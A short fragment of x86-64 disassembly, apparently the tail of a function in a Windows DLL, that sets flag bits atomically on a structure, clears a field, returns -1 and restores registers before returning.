jmp 0x18000d560
neg eax
sbb eax, eax
and eax, 8
add eax, 8
lock or dword [rsi + 0x14], eax
and dword [rsi + 0x10], 0
or edi, 0xffffffff
mov rbx, qword [rsp + 0x30]
mov eax, edi
mov rdi, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop r14
ret